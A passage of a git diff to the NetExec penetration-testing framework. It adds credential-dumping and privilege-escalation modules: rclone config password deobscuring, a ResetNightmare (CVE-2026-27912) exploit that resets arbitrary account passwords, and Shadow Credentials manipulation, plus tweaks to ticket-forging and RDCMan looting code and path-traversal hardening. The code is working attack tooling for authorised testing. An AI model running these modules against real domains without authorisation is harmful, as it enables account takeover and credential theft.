skipping") + continue buf = BytesIO() with open(download_path, "wb") as file: diff --git a/nxc/modules/raisechild.py b/nxc/modules/raisechild.py index d1f0fa6e68..5be9a8aaa0 100644 --- a/nxc/modules/raisechild.py +++ b/nxc/modules/raisechild.py @@ -49,7 +49,7 @@ def __init__(self, context=None, module_options=None): self.krbtgt_hash = "" self.aes128_key = "" self.aes256_key = "" - self.etype = "rc4" + self.etype = "aes256" def options(self, context, module_options): """ @@ -59,7 +59,7 @@ def options(self, context, module_options): USER Target username to forge the ticket for (default: Administrator) USER_ID RID used as the user ID in the PAC (default: 500) RID RID used for the extra SID (default: 519 = Enterprise Admins) - ETYPE Encryption type for the ticket: rc4, aes128, aes256 (default: rc4) + ETYPE Encryption type for the ticket: rc4, aes128, aes256 (default: aes256) Examples: netexec ldap -u -p -M raisechild -o USER=DC01$ @@ -69,7 +69,7 @@ def options(self, context, module_options): """ self.context = context self.module_options = module_options - self.etype = module_options.get("ETYPE", "rc4").lower() + self.etype = module_options.get("ETYPE", "aes256").lower() def on_admin_login(self, context, connection): self.context = context @@ -300,7 +300,7 @@ def _getBlockLength(length: int) -> int: def _createBasicValidationInfo(self, username: str, domain: str, domain_sid: str, groups: list[int], user_rid: int) -> VALIDATION_INFO: kerbdata = KERB_VALIDATION_INFO() - now_utc = datetime.datetime.now(datetime.timezone.utc) + now_utc = datetime.datetime.now(datetime.UTC) now_unix = timegm(now_utc.timetuple()) now_filetime = self._getFileTime(now_unix) @@ -451,7 +451,7 @@ def _injectExtraSids(self, pac_infos: dict, extra_sid_csv: str | None) -> None: pac_infos[PAC_LOGON_INFO] = validation_info.getData() + validation_info.getDataReferents() def _buildEncParts(self, as_rep: AS_REP, domain: str, username: str, duration_hours: int, enctype_value: int, pac_infos: dict, key_size: int) -> tuple[EncASRepPart, EncTicketPart, dict]: - now_utc = datetime.datetime.now(datetime.timezone.utc) + now_utc = datetime.datetime.now(datetime.UTC) end_utc = now_utc + datetime.timedelta(hours=duration_hours) enc_ticket_part = EncTicketPart() diff --git a/nxc/modules/rclone.py b/nxc/modules/rclone.py new file mode 100644 index 0000000000..185d3839cc --- /dev/null +++ b/nxc/modules/rclone.py @@ -0,0 +1,88 @@ +import base64 +from Cryptodome.Cipher import AES +from io import BytesIO +from nxc.helpers.misc import CATEGORY + + +class NXCModule: + name = "rclone" + description = "Searches for rclone.conf and deobscures credentials" + supported_protocols = ["smb"] + category = CATEGORY.CREDENTIAL_DUMPING + + def options(self, context, module_options): + """No module options.""" + + def on_admin_login(self, context, connection): + self.share = "C$" + base_dir = "\\Users" + skip_dirs = {"Public", "Default", "Default User", "All Users"} + + try: + entries = connection.conn.listPath(self.share, base_dir + "\\*") + except Exception as e: + context.log.fail(f"Failed to list {base_dir}: {e}") + return False + + usernames = [ + entry.get_longname() + for entry in entries + if entry.is_directory() and entry.get_longname() not in skip_dirs | {".", ".."} + ] + + if not usernames: + context.log.warning("No user directories found.") + return False + + for username in usernames: + conf_path = f"\\Users\\{username}\\AppData\\Roaming\\rclone\\rclone.conf" + context.log.info(f"Trying to read: {self.share + conf_path}") + conf_data = "" + + try: + buf = BytesIO() + connection.conn.getFile(self.share, conf_path, buf.write) + conf_data = buf.getvalue().decode() + except Exception: + context.log.info(f"[{username}] rclone.conf not found.") + continue + + if "RCLONE_ENCRYPT_V0" in conf_data: + context.log.fail(f"[{username}] Encrypted config — skipping.") + continue + + context.log.success(f"[{username}] rclone.conf found!") + + for line in conf_data.splitlines(): + line = line.strip() + if not line: + continue + + if "=" not in line: + context.log.highlight(line.strip()) + continue + + key, val = map(str.strip, line.split("=", 1)) + if key.lower() in ("pass", "password", "password2"): + try: + plain = self.deobscure(val) + context.log.highlight(f"{key} = {plain}") + except Exception as e: + context.log.warning(f"[{username}] Failed to deobscure {key}: {e}") + else: + context.log.highlight(line.strip()) + + return True + + def deobscure(self, obscured): + encrypted_password = self.base64_urlsafedecode(obscured) + iv = encrypted_password[:AES.block_size] + buf = encrypted_password[AES.block_size:] + SECRET_KEY = b"\x9c\x93\x5b\x48\x73\x0a\x55\x4d\x6b\xfd\x7c\x63\xc8\x86\xa9\x2b\xd3\x90\x19\x8e\xb8\x12\x8a\xfb\xf4\xde\x16\x2b\x8b\x95\xf6\x38" + crypter = AES.new(key=SECRET_KEY, mode=AES.MODE_CTR, initial_value=iv, nonce=b"") + return crypter.decrypt(buf).decode("utf-8") + + def base64_urlsafedecode(self, string): + padding = (4 - len(string) % 4) % 4 + string += "=" * padding + return base64.urlsafe_b64decode(string) diff --git a/nxc/modules/rdcman.py b/nxc/modules/rdcman.py index d53f4e5bae..34e4b8573a 100644 --- a/nxc/modules/rdcman.py +++ b/nxc/modules/rdcman.py @@ -1,55 +1,28 @@ from dploot.triage.rdg import RDGTriage, RDGServerProfile -from dploot.lib.target import Target -from nxc.helpers.logger import highlight from nxc.helpers.misc import CATEGORY -from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection class NXCModule: name = "rdcman" description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials" - supported_protocols = ["smb"] + supported_protocols = ["smb", "wmi", "winrm", "mssql"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): """ """ def on_admin_login(self, context, connection): - username = connection.username - password = getattr(connection, "password", "") - nthash = getattr(connection, "nthash", "") - - self.pvkbytes = get_domain_backup_key(connection) - - target = Target.create( - domain=connection.domain, - username=username, - password=password, - target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, - lmhash=getattr(connection, "lmhash", ""), - nthash=nthash, - do_kerberos=connection.kerberos, - aesKey=connection.aesKey, - no_pass=True, - use_kcache=getattr(connection, "use_kcache", False), - ) - - conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) - if conn is None: - context.log.debug("Could not upgrade connection") - return - - self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False) + self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False) if len(self.masterkeys) == 0: context.log.fail("No masterkeys looted") return - context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting RDCMan secrets") + context.log.success("Looting RDCMan secrets") try: - triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys) + triage = RDGTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys) rdcman_files, rdgfiles = triage.triage_rdcman() for rdcman_file in rdcman_files: if rdcman_file is None: @@ -58,7 +31,7 @@ def on_admin_login(self, context, connection): log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}" if isinstance(rdg_cred, RDGServerProfile): log_text = f"{rdg_cred.server_name} - {log_text}" - context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}") + connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log) for rdgfile in rdgfiles: if rdgfile is None: continue @@ -66,6 +39,6 @@ def on_admin_login(self, context, connection): log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}" if isinstance(rdg_cred, RDGServerProfile): log_text = f"{rdg_cred.server_name} - {log_text}" - context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}") + connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log) except Exception as e: context.log.debug(f"Could not loot RDCMan secrets: {e}") diff --git a/nxc/modules/rdp.py b/nxc/modules/rdp.py index 7940102a1c..243bcc92a4 100644 --- a/nxc/modules/rdp.py +++ b/nxc/modules/rdp.py @@ -101,7 +101,8 @@ def on_admin_login(self, context, connection): context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.") else: context.log.fail(str(e)) - wmi_rdp._RdpWmi__dcom.disconnect() + if wmi_rdp._RdpWmi__dcom is not None: + wmi_rdp._RdpWmi__dcom.disconnect() class RdpSmb: @@ -222,6 +223,14 @@ def __init__(self, context, connection, timeout): self.__aesKey = connection.aesKey self.__timeout = timeout + self.__dcom = None + if self.__currentprotocol == "wmi": + # The wmi protocol already holds an authenticated IWbemLevel1Login: + # reuse it instead of creating a second DCOMConnection to the same + # target (whose disconnect would clash with the protocol's own) + self.__iWbemLevel1Login = connection.iWbemLevel1Login + return + try: self.__dcom = DCOMConnection( self.__target, diff --git a/nxc/modules/recyclebin.py b/nxc/modules/recyclebin.py index cdbcd939c8..4557a28c23 100644 --- a/nxc/modules/recyclebin.py +++ b/nxc/modules/recyclebin.py @@ -1,7 +1,9 @@ from os import makedirs from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH -from os.path import join, abspath +from os.path import join +from pathlib import Path from impacket.dcerpc.v5 import rrp from impacket.dcerpc.v5.rrp import DCERPCSessionError from impacket.examples.secretsdump import RemoteOperations @@ -73,8 +75,11 @@ def on_admin_login(self, context, connection): # Formatting the destination filename file_path = path.split("$")[-1].replace("/", "_") - filename = f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}" - dest_path = abspath(join(export_path, filename)) + filename = sanitize_path_component(f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}") + dest_path = Path(export_path, filename).resolve() + if Path(export_path).resolve() not in dest_path.parents: + context.log.fail(f"Path traversal detected in {filename!r}, skipping") + continue try: with open(dest_path, "wb+") as file: connection.conn.getFile("C$", path, file.write) diff --git a/nxc/modules/remove-mic.py b/nxc/modules/remove-mic.py index 17abc3adf9..d6d47f924c 100644 --- a/nxc/modules/remove-mic.py +++ b/nxc/modules/remove-mic.py @@ -2,7 +2,7 @@ # Dirk-jan Mollema (@_dirkjan) # dlive (@D1iv3) # -# Refernece: +# Reference: # - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/ # - https://github.com/fox-it/cve-2019-1040-scanner # - https://github.com/Dliv3/cve-2019-1040-scanner diff --git a/nxc/modules/resetnightmare.py b/nxc/modules/resetnightmare.py new file mode 100644 index 0000000000..54eb5e210a --- /dev/null +++ b/nxc/modules/resetnightmare.py @@ -0,0 +1,139 @@ +from impacket.krb5 import constants +from impacket.krb5.types import Principal +from impacket.krb5.kerberosv5 import getKerberosTGT, KerberosError +from impacket.krb5.kpasswd import changePassword, KPasswdError, KRB5_KPASSWD_TGT_SPN +from impacket.ldap.ldap import MODIFY_REPLACE, MODIFY_DELETE, LDAPSessionError +from nxc.helpers.misc import CATEGORY +from nxc.parsers.ldap_results import parse_result_attributes + + +class NXCModule: + """ + Module by @azoxlpf based on the ResetNightmare PoC and + https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/ + """ + + name = "resetnightmare" + description = "Exploit ResetNightmare (CVE-2026-27912) to reset any account's password via Kerberos change password" + supported_protocols = ["ldap"] + category = CATEGORY.PRIVILEGE_ESCALATION + + def __init__(self): + self.context = None + self.connection = None + self.target = None + self.new_password = None + self.upn_user = None + self.upn_password = None + self.upn_nthash = None + + def options(self, context, module_options): + """ + Reset any account's password by abusing the Kerberos Change Password protocol (CVE-2026-27912, ResetNightmare). + Requires GenericWrite over a controlled account's userPrincipalName, and an unpatched DC. + + TARGET sAMAccountName of the account whose password gets reset (append $ for a computer) + NEW_PASSWORD New password to set on TARGET + UPN_USER sAMAccountName of a controlled account you can write a userPrincipalName to (not the login account) + UPN_PASSWORD Cleartext password of UPN_USER + UPN_NTHASH NT Hash of UPN_USER + + Examples: + netexec ldap -u -p -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_PASSWORD='Passw0rd!' + netexec ldap -u -p -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_NTHASH='31d6cfe0d16ae931b73c59d7e0c089c0' + netexec ldap -u -p -M resetnightmare -o TARGET=DC01$ NEW_PASSWORD='NewPass!' UPN_USER=controlled$ UPN_PASSWORD='Passw0rd!' + """ + self.target = module_options.get("TARGET") + self.new_password = module_options.get("NEW_PASSWORD") + self.upn_user = module_options.get("UPN_USER") + self.upn_password = module_options.get("UPN_PASSWORD", "") + self.upn_nthash = module_options.get("UPN_NTHASH", "") + + if not all([self.target, self.new_password, self.upn_user, self.upn_password or self.upn_nthash]): + context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and either UPN_PASSWORD or UPN_NTHASH are all required") + return False + + def resolve_account(self, sam): + response = self.connection.search(searchFilter=f"(sAMAccountName={sam})", attributes=["distinguishedName"]) + entries = parse_result_attributes(response) + return entries[0]["distinguishedName"] if entries else None + + def get_account_upn(self, sam): + response = self.connection.search(searchFilter=f"(sAMAccountName={sam})", attributes=["distinguishedName", "userPrincipalName"]) + entries = parse_result_attributes(response) + if not entries: + return None, None + return entries[0]["distinguishedName"], entries[0].get("userPrincipalName") + + def set_upn(self, dn, upn): + try: + self.connection.ldap_connection.modify(dn, {"userPrincipalName": [(MODIFY_REPLACE, upn)]}) + return True + except LDAPSessionError as e: + self.context.log.fail(f"Failed to set UPN on {self.upn_user}: {e}") + return False + + def restore_upn(self, dn, old_upn): + try: + if old_upn: + self.connection.ldap_connection.modify(dn, {"userPrincipalName": [(MODIFY_REPLACE, old_upn)]}) + self.context.log.display(f"Restored original UPN '{old_upn}' on {self.upn_user}") + else: + self.connection.ldap_connection.modify(dn, {"userPrincipalName": [(MODIFY_DELETE, [])]}) + self.context.log.display(f"Cleared fake UPN from {self.upn_user}") + except LDAPSessionError as e: + self.context.log.fail(f"Cleanup failed, UPN may still be set on {self.upn_user}: {e}") + + def request_changepw_tgt(self): + client = Principal(self.target, type=constants.PrincipalNameType.NT_ENTERPRISE.value) + kdc = self.connection.kdcHost or self.connection.host + try: + tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", self.upn_nthash, "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN) + except (KerberosError, OSError) as e: + self.context.log.fail(f"Failed to request change-password TGT: {e}") + return None + self.context.log.success(f"Obtained NT-ENTERPRISE TGT for '{self.target}' targeting {KRB5_KPASSWD_TGT_SPN}") + return {"KDC_REP": tgt, "cipher": cipher, "sessionKey": session_key} + + def reset_password(self, tgt): + kdc = self.connection.kdcHost or self.connection.host + try: + changePassword(self.target, self.connection.domain, self.new_password, TGT=tgt, kdcHost=kdc, kpasswdHost=kdc) + except (KPasswdError, KerberosError, OSError) as e: + self.context.log.fail(f"Password change failed: {' '.join(str(e).split())}") + return False + return True + + def on_login(self, context, connection): + self.context = context + self.connection = connection + + target_dn = self.resolve_account(self.target) + if not target_dn: + context.log.fail(f"Target '{self.target}' not found") + return + upn_dn, old_upn = self.get_account_upn(self.upn_user) + if not upn_dn: + context.log.fail(f"Controlled account '{self.upn_user}' not found") + return + + context.log.display(f"Target: {self.target} ({target_dn})") + context.log.display(f"Controlled account: {self.upn_user} ({upn_dn}), current UPN: {old_upn or ''}") + + if not self.set_upn(upn_dn, self.target): + return + context.log.success(f"Set fake UPN '{self.target}' on {self.upn_user}") + + try: + tgt = self.request_changepw_tgt() + finally: + self.restore_upn(upn_dn, old_upn) + + if tgt is None: + return + + if not self.reset_password(tgt): + return + + context.log.highlight(f"Successfully reset password of '{self.target}' to '{self.new_password}'") + context.db.add_credential("plaintext", connection.domain, self.target, self.new_password) diff --git a/nxc/modules/sccm.py b/nxc/modules/sccm.py index c802505654..ab31490270 100644 --- a/nxc/modules/sccm.py +++ b/nxc/modules/sccm.py @@ -1,6 +1,6 @@ from impacket.ldap import ldap, ldaptypes from impacket.ldap.ldap import LDAPSearchError -from ldap3.protocol.microsoft import security_descriptor_control +from impacket.ldap.ldapasn1 import SDFlagsControl from nxc.helpers.misc import CATEGORY from nxc.parsers.ldap_results import parse_result_attributes @@ -56,7 +56,7 @@ def on_login(self, context, connection): try: # Search for SCCM root object search_filter = f"(distinguishedName=CN=System Management,CN=System,{self.base_dn})" - controls = security_descriptor_control(sdflags=0x04) + controls = [SDFlagsControl(criticality=False, flags=0x04)] context.log.display(f"Looking for the SCCM container with filter: '{search_filter}'") result = connection.ldap_connection.search( searchFilter=search_filter, diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py new file mode 100644 index 0000000000..4681751baa --- /dev/null +++ b/nxc/modules/shadow-creds.py @@ -0,0 +1,249 @@ +import json +from pathlib import Path + +from cryptography.hazmat.primitives.serialization import NoEncryption +from cryptography.hazmat.primitives.serialization.pkcs12 import serialize_key_and_certificates +from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2 +from dsinternals.common.data.DNWithBinary import DNWithBinary +from dsinternals.common.data.hello.KeyCredential import KeyCredential +from dsinternals.system.DateTime import DateTime +from dsinternals.system.Guid import Guid +from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE, MODIFY_REPLACE, LDAPSessionError + +from nxc.helpers.misc import CATEGORY +from nxc.parsers.ldap_results import parse_result_attributes +from nxc.paths import NXC_PATH + + +class NXCModule: + """ + Made by @NeffIsBack + Heavily inspired by the pyWhisker project by Shutdown: + https://github.com/ShutdownRepo/pywhisker + """ + + name = "shadow-creds" + description = "List, add, inspect, remove, clear, backup, or revert Shadow Credentials on a user or computer" + supported_protocols = ["ldap"] + category = CATEGORY.PRIVILEGE_ESCALATION + + def options(self, context, module_options): + """ + TARGET sAMAccountName of the target user or computer (for example, TARGET=user or TARGET=DESKTOP-123456$) + ACTION Action to perform: list, add, info, remove, clear, backup, or revert (default: list); clear removes all KeyCredentials + DEVICE_ID KeyCredential device ID; required for info and remove + JSONFILE JSON backup path; required for revert and optional for backup + + Examples: + netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=list + netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=add + netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=info DEVICE_ID= + netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=remove DEVICE_ID= + netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=clear + netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=backup JSONFILE=shadow-creds.json + netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=revert JSONFILE=shadow-creds.json + """ + self.target = module_options.get("TARGET", "").strip() + self.action = module_options.get("ACTION", "list").lower().strip() + self.device_id = module_options.get("DEVICE_ID") + self.jsonfile = module_options.get("JSONFILE") + + if not self.target: + context.log.fail("TARGET is required") + return False + if self.action not in {"list", "add", "info", "remove", "clear", "backup", "revert"}: + context.log.fail("ACTION must be one of: list, add, info, remove, clear, backup, revert") + return False + if self.action in {"info", "remove"} and not self.device_id: + context.log.fail(f"DEVICE_ID is required for ACTION={self.action}") + return False + if self.action == "revert" and not self.jsonfile: + context.log.fail("JSONFILE is required for ACTION=revert") + return False + + def on_login(self, context, connection): + self.context = context + self.connection = connection + + resp = connection.search( + searchFilter=f"(&(objectClass=user)(sAMAccountName={self.target}))", + attributes=["distinguishedName", "sAMAccountName", "objectClass", "msDS-KeyCredentialLink"], + ) + resp_parsed = parse_result_attributes(resp) + if not resp_parsed: + context.log.fail(f"Account '{self.target}' was not found") + return + + target_dn = resp_parsed[0]["distinguishedName"] + raw_values = resp_parsed[0].get("msDS-KeyCredentialLink", []) + raw_values = raw_values if isinstance(raw_values, list) else [raw_values] + + if self.action == "list": + self.list(self.parse_credentials(raw_values)) + elif self.action == "add": + self.add(target_dn, "computer" in resp_parsed[0]["objectClass"]) + elif self.action == "info": + self.info(self.parse_credentials(raw_values)) + elif self.action == "remove": + self.remove(target_dn, self.parse_credentials(raw_values)) + elif self.action == "clear": + self.clear(target_dn, raw_values) + elif self.action == "backup": + self.backup(raw_values) + elif self.action == "revert": + self.revert(target_dn) + + def parse_credentials(self, raw_values): + credentials = [] + for raw_value in raw_values: + try: + # AD stores each KeyCredential as a textual DN-Binary value. + credentials.append( + ( + raw_value, + KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(raw_value.encode())), + ) + ) + except Exception as e: + self.context.log.fail(f"Could not parse an existing KeyCredential: {e}") + return credentials + + def get_credential(self, credentials): + for raw_value, credential in credentials: + if credential.DeviceId and credential.DeviceId.toFormatD().lower() == self.device_id.lower(): + return raw_value, credential + self.context.log.fail(f"No KeyCredential with device ID {self.device_id} was found on {self.target}") + return None + + def list(self, credentials): + if not credentials: + self.context.log.display(f"No KeyCredentials found on {self.target}") + return + + self.context.log.success(f"Found {len(credentials)} KeyCredential(s) on {self.target}") + for _, credential in credentials: + self.context.log.highlight(f"Device ID: {credential.DeviceId.toFormatD().lower() if credential.DeviceId else ''} | Creation time: {credential.CreationTime}") + + def add(self, target_dn, is_computer): + try: + certificate = X509Certificate2(subject=self.target, keySize=2048, notBefore=-(40 * 365), notAfter=40 * 365) + credential = KeyCredential.fromX509Certificate2( + certificate=certificate, + deviceId=Guid(), + owner=target_dn, + currentTime=DateTime(), + isComputerKey=is_computer, + ) + device_id = credential.DeviceId.toFormatD().lower() + ldap_value = credential.toDNWithBinary().toString() + output_path = self.write_pfx(certificate, device_id) + except Exception as e: + self.context.log.fail(f"Failed to generate certificate and KeyCredential: {e}") + return + + try: + # Add one value instead of replacing the complete multi-valued attribute. + self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_ADD, [ldap_value])]}) + except LDAPSessionError as e: + self.context.log.fail(f"Failed to add the KeyCredential: {e}") + self.context.log.display(f"Generated PFX retained at {output_path}") + return + + self.context.log.success(f"Added KeyCredential with device ID {device_id} to {self.target}") + self.context.log.highlight(f"PFX: {output_path}") + + def write_pfx(self, certificate, device_id): + output_dir = Path(NXC_PATH) / "modules" / "shadow-creds" + output_dir.mkdir(parents=True, exist_ok=True) + output_path = output_dir / f"{self.target.rstrip('$')}_{device_id}.pfx" + + output_path.write_bytes( + serialize_key_and_certificates( + name=self.target.encode("utf-8"), + key=certificate.key.to_cryptography_key(), + cert=certificate.certificate.to_cryptography(), + cas=None, + encryption_algorithm=NoEncryption(), + ) + ) + return output_path + + def info(self, credentials): + result = self.get_credential(credentials) + if result is None: + return + + _, credential = result + self.context.log.success(f"KeyCredential {self.device_id} on {self.target}") + for name, value in { + "Owner": credential.Owner, + "Device ID": credential.DeviceId.toFormatD().lower(), + "Version": hex(credential.Version.value), + "Key ID": credential.Identifier, + "Key hash": credential.KeyHash.hex(), + "Key size": getattr(credential.RawKeyMaterial, "keySize", "unknown"), + " Exponent (E)": credential.RawKeyMaterial.exponent, + " Modulus (N)": hex(credential.RawKeyMaterial.modulus), + " Prime 1 (P)": hex(credential.RawKeyMaterial.prime1), + " Prime 2 (Q)": hex(credential.RawKeyMaterial.prime2), + "Usage": credential.Usage, + "Legacy usage": credential.LegacyUsage, + "Source": credential.Source, + "Custom key info": credential.CustomKeyInfo, + **{f" {key}": custom_value for key, custom_value in credential.CustomKeyInfo.items()}, + "Last logon time": credential.LastLogonTime, + "Creation time": credential.CreationTime, + }.items(): + self.context.log.highlight(f"{name:<17} {value}") + + def remove(self, target_dn, credentials): + result = self.get_credential(credentials) + if result is None: + return + + raw_value, _ = result + try: + # Delete the exact raw value so neighboring credentials remain untouched. + self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [raw_value])]}) + except LDAPSessionError as e: + self.context.log.fail(f"Failed to remove the KeyCredential: {e}") + return + + self.context.log.success(f"Removed KeyCredential {self.device_id} from {self.target}") + + def clear(self, target_dn, raw_values): + if not raw_values: + self.context.log.display(f"No KeyCredentials found on {self.target}") + return + + try: + self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [])]}) + except LDAPSessionError as e: + self.context.log.fail(f"Failed to clear KeyCredentials: {e}") + return + + self.context.log.success(f"Cleared all KeyCredentials from {self.target}") + + def backup(self, raw_values): + output_path = Path(self.jsonfile) if self.jsonfile else Path(NXC_PATH) / "modules" / "shadow-creds" / f"{self.target.rstrip('$')}.json" + output_path.parent.mkdir(parents=True, exist_ok=True) + output_path.write_text(json.dumps({"keyCredentials": raw_values}, indent=4), encoding="utf-8") + self.context.log.success(f"Backed up {len(raw_values)} KeyCredential(s) from {self.target} to {output_path}") + + def revert(self, target_dn): + try: + key_credentials = [] + for key_credential in json.loads(Path(self.jsonfile).read_text(encoding="utf-8"))["keyCredentials"]: + if not isinstance(key_credential, (dict, str)): + raise ValueError("keyCredentials entries must be objects or strings") + key_credentials.append(KeyCredential.fromDict(key_credential).toDNWithBinary().toString() if isinstance(key_credential, dict) else key_credential) + except Exception as e: + self.context.log.fail(f"Failed to read Shadow Credentials backup: {e}") + return + + try: + self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_REPLACE, key_credentials)]}) + except Exception as e: + self.context.log.fail(f"Failed to revert Shadow Credentials: {e}") + return + self.context.log.success(f"Reverted {self.target} to {len(key_credentials)} backed-up KeyCredential(s)") diff --git a/nxc/modules/snipped.py b/nxc/modules/snipped.py index 3dc0e0be82..0cc9271323 100644 --- a/nxc/modules/snipped.py +++ b/nxc/modules/snipped.py @@ -1,8 +1,9 @@ import ntpath import os from os.path import join, getsize, exists -from pathlib import PurePosixPath +from pathlib import Path from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH @@ -85,11 +86,10 @@ def on_admin_login(self, context, connection): continue remote_file_path = ntpath.join(screenshot_path, remote_file_name) - # replace \\ with underscores and ignore absolute path or path traversal attempts - clean_screenshot_path = "_".join(p for p in PurePosixPath(screenshot_path.replace("\\", "/")).parts if p not in ("..", ".", "/")) - clean_file = "_".join(p for p in PurePosixPath(remote_file_name.replace("\\", "/")).parts if p not in ("..", ".", "/")) - - local_file_path = join(user_output_dir, f"{clean_screenshot_path}_{clean_file}") + local_file_path = Path(user_output_dir, sanitize_path_component(f"{screenshot_path}_{remote_file_name}")).resolve() + if Path(user_output_dir).resolve() not in local_file_path.parents: + context.log.fail(f"Path traversal detected in {remote_file_path!r}, skipping") + continue context.log.debug(f"{local_file_path=}") try: diff --git a/nxc/modules/spider_plus.py b/nxc/modules/spider_plus.py index 2314529319..e3d6bc253f 100755 --- a/nxc/modules/spider_plus.py +++ b/nxc/modules/spider_plus.py @@ -2,9 +2,10 @@ import errno from os.path import abspath, join, exists, splitext, getsize from os import makedirs, remove, stat -from pathlib import Path, PurePosixPath +from pathlib import Path import time from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH from nxc.protocols.smb.remotefile import RemoteFile from impacket.smb3structs import FILE_READ_DATA @@ -127,6 +128,8 @@ def list_path(self, share, subfolder): self.logger.debug(f"The folder {subfolder} does not exist.") elif "STATUS_STOPPED_ON_SYMLINK" in str(e): self.logger.debug(f"The folder {subfolder} is a symlink that cannot be followed. Skipping.") + elif "STATUS_NO_SUCH_FILE" in str(e): + self.logger.debug(f"The folder {subfolder} is empty.") elif self.reconnect(): filelist = self.list_path(share, subfolder) except NetBIOSTimeout as e: @@ -170,13 +173,13 @@ def read_chunk(self, remote_file, chunk_size=CHUNK_SIZE): def get_file_save_path(self, remote_file): r"""Processes the remote file path to extract the filename and the folder path where the file should be saved locally. - Creates a PurePosixPath and replaces UNC parts, then cleans it of any path traversal (see issue #1120) + Sanitizes each local path component and verifies containment in the output folder. """ self.logger.debug(f"Remote file: {remote_file}") - raw_path = PurePosixPath(remote_file._RemoteFile__share, remote_file._RemoteFile__fileName.replace("\\", "/")) - self.logger.debug(f"Raw path: {remote_file}") - clean_parts = [p for p in raw_path.parts if p not in ("..", ".")] - resolved = Path(self.output_folder).joinpath(self.host, *clean_parts) + clean_parts = [sanitize_path_component(part) for part in remote_file._RemoteFile__fileName.replace("\\", "/").split("/") if part] + resolved = Path(self.output_folder).joinpath(sanitize_path_component(self.host), sanitize_path_component(remote_file._RemoteFile__share), *clean_parts).resolve() + if Path(self.output_folder).resolve() not in resolved.parents: + raise ValueError(f"Path traversal detected in {remote_file!s}") self.logger.debug(f"Resolved path: {resolved}") return str(resolved.parent), resolved.name @@ -306,7 +309,12 @@ def parse_file(self, share_name, file_path, file_info): return # Check if the file is already downloaded and up-to-date. - file_dir, file_name = self.get_file_save_path(remote_file) + try: + file_dir, file_name = self.get_file_save_path(remote_file) + except ValueError as e: + self.logger.fail(str(e)) + self.stats["num_get_fail"] += 1 + return download_path = join(file_dir, file_name) needs_update_flag = False if exists(download_path): @@ -322,11 +330,12 @@ def parse_file(self, share_name, file_path, file_info): try: self.logger.info(f'Downloading file "{file_path}" => "{download_path}".') remote_file.open_file() - self.save_file(remote_file, share_name) + self.save_file(remote_file, share_name, download_path) remote_file.close() download_success = True - except SessionError: - pass + except SessionError as e: + if "STATUS_SHARING_VIOLATION" in str(e): + self.logger.debug(f"Sharing violation while downloading file: {file_path}") except Exception as e: self.logger.fail(f'Failed to download file "{file_path}". Error: {e!s}') @@ -338,7 +347,7 @@ def parse_file(self, share_name, file_path, file_info): else: self.stats["num_get_fail"] += 1 - def save_file(self, remote_file, share_name): + def save_file(self, remote_file, share_name, download_path): """Reads the `remote_file` in chunks using the `read_chunk` method. Each chunk is then written to the local file until the entire file is saved. @@ -347,12 +356,9 @@ def save_file(self, remote_file, share_name): # Reset the remote_file to point to the beginning of the file. remote_file.seek(0, 0) - folder, filename = self.get_file_save_path(remote_file) - download_path = join(folder, filename) - # Create the subdirectories based on the share name and file path. - self.logger.debug(f"Creating folder '{folder}'") - make_dirs(folder) + self.logger.debug(f"Creating folder 